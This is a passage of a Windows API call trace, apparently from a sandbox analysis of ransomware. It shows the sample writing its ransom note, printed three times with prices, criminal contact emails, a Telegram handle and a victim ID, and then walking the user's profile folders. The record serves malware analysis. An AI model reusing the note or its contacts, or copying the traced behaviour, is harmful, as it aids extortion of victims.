files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3102258, cbMultiByte=2178, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 1155 [0124.699] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x3102ae8 [0124.699] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3102258 | out: hHeap=0x5c0000) returned 1 [0124.699] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.699] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned 1154 [0124.699] WriteFile (in: hFile=0x620, lpBuffer=0x3102ae8*, nNumberOfBytesToWrite=0x482, lpNumberOfBytesWritten=0x398fb64, lpOverlapped=0x0 | out: lpBuffer=0x3102ae8*, lpNumberOfBytesWritten=0x398fb64*=0x482, lpOverlapped=0x0) returned 1 [0124.700] CloseHandle (hObject=0x620) returned 1 [0124.700] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3102ae8 | out: hHeap=0x5c0000) returned 1 [0124.700] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.700] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.700] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.700] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x97c4c3d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x97c4c3d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.701] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.701] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x97c4c3d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x97c4c3d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.701] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0124.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f238 [0124.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f1e0 [0124.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x3076e40 [0124.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f188 [0124.701] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f1e0 | out: hHeap=0x5c0000) returned 1 [0124.701] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f238 | out: hHeap=0x5c0000) returned 1 [0124.701] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0124.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0124.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0124.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x38) returned 0x306c8e0 [0124.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f238 [0124.701] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f188 | out: hHeap=0x5c0000) returned 1 [0124.701] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0124.701] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0124.701] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0124.701] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0124.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f188 [0124.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f1e0 [0124.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x54) returned 0x3061720 [0124.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0124.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0124.701] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f238 | out: hHeap=0x5c0000) returned 1 [0124.701] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0124.701] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x306c8e0 | out: hHeap=0x5c0000) returned 1 [0124.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f238 [0124.701] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f1e0 | out: hHeap=0x5c0000) returned 1 [0124.701] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f188 | out: hHeap=0x5c0000) returned 1 [0124.701] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f188 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f1e0 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f340 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f398 [0124.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0124.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0124.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f238 | out: hHeap=0x5c0000) returned 1 [0124.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3061720 | out: hHeap=0x5c0000) returned 1 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f238 [0124.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f1e0 | out: hHeap=0x5c0000) returned 1 [0124.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f188 | out: hHeap=0x5c0000) returned 1 [0124.702] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5948bb70, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x5948bb70, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f188 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f1e0 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa8) returned 0x2fd8818 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f3f0 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f448 [0124.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f340 | out: hHeap=0x5c0000) returned 1 [0124.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0124.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f398 | out: hHeap=0x5c0000) returned 1 [0124.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f238 | out: hHeap=0x5c0000) returned 1 [0124.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f238 [0124.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f1e0 | out: hHeap=0x5c0000) returned 1 [0124.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f188 | out: hHeap=0x5c0000) returned 1 [0124.702] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51c30310, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x51c30310, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f188 [0124.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0124.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f188 | out: hHeap=0x5c0000) returned 1 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0124.703] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0124.703] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0124.703] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f188 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0124.703] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f188 | out: hHeap=0x5c0000) returned 1 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfc) returned 0x3098bf8 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f188 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f1e0 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f398 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f340 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0124.703] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0124.703] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0124.703] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f3f0 | out: hHeap=0x5c0000) returned 1 [0124.703] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f448 | out: hHeap=0x5c0000) returned 1 [0124.703] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f238 | out: hHeap=0x5c0000) returned 1 [0124.703] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0124.703] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0124.703] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0124.703] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0124.703] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f238 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0124.703] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f238 | out: hHeap=0x5c0000) returned 1 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0124.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0124.704] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0124.704] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0124.704] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f238 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f448 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f3f0 [0124.704] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f448 | out: hHeap=0x5c0000) returned 1 [0124.704] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f238 | out: hHeap=0x5c0000) returned 1 [0124.704] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3083f40 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16c) returned 0x308d780 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f238 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3083fa8 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f448 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f4a0 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3084010 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3084078 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30840e0 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f4f8 [0124.704] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f188 | out: hHeap=0x5c0000) returned 1 [0124.704] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0124.704] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f1e0 | out: hHeap=0x5c0000) returned 1 [0124.704] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f398 | out: hHeap=0x5c0000) returned 1 [0124.704] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f340 | out: hHeap=0x5c0000) returned 1 [0124.704] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0124.704] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0124.704] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0124.704] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f3f0 | out: hHeap=0x5c0000) returned 1 [0124.704] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0124.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0124.704] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0124.705] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0124.705] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51c7c5d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x51c7c5d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0124.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f3f0 [0124.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f340 [0124.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f398 [0124.705] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f340 | out: hHeap=0x5c0000) returned 1 [0124.705] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f3f0 | out: hHeap=0x5c0000) returned 1 [0124.705] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0124.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0124.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0124.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0124.705] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0124.705] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0124.705] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, 